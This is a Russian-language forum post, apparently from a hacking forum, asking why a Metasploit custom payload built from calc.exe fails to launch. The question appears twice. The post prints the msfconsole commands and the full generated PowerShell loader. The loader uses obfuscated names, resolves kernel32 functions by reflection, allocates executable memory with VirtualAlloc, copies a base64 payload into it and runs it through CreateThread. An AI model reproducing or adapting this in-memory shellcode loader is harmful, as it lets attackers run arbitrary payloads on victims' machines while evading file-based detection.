Всем привет.
Кто нибудь знает кастомная нагрузка работает в метасплойт?
msfconsole
use payload/generic/custom
set PAYLOADFILE /tmp/calc.exe
generate -f psh-reflection -o /tmp/TEST13.txt
выдает такой скрипт
Но калькулятор не запускается. Хотя когда делаешь какой нибудь реверс_тсп всё работает.
Почему?
Кто нибудь знает кастомная нагрузка работает в метасплойт?
msfconsole
use payload/generic/custom
set PAYLOADFILE /tmp/calc.exe
generate -f psh-reflection -o /tmp/TEST13.txt
выдает такой скрипт
Код:
function kEWQ {
Param ($itRK, $bslVw)
$qP7 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $qP7.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qP7.GetMethod('GetModuleHandle')).Invoke($null, @($itRK)))), $bslVw))
}
function aaI {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $gzY3,
[Parameter(Position = 1)] [Type] $wbVsn = [Void]
)
$hU = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$hU.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $gzY3).SetImplementationFlags('Runtime, Managed')
$hU.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $wbVsn, $gzY3).SetImplementationFlags('Runtime, Managed')
return $hU.CreateType()
}
[Byte[]]$vec6N = [System.Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAA**тут калькулятор в Base64String**AAAAAAAAAAAAAAAA")
$ynY = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll VirtualAlloc), (aaI @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $vec6N.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($vec6N, 0, $ynY, $vec6N.length)
$l712s = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll CreateThread), (aaI @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$ynY,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kEWQ kernel32.dll WaitForSingleObject), (aaI @([IntPtr], [Int32]))).Invoke($l712s,0xffffffff) | Out-Null
Но калькулятор не запускается. Хотя когда делаешь какой нибудь реверс_тсп всё работает.
Почему?
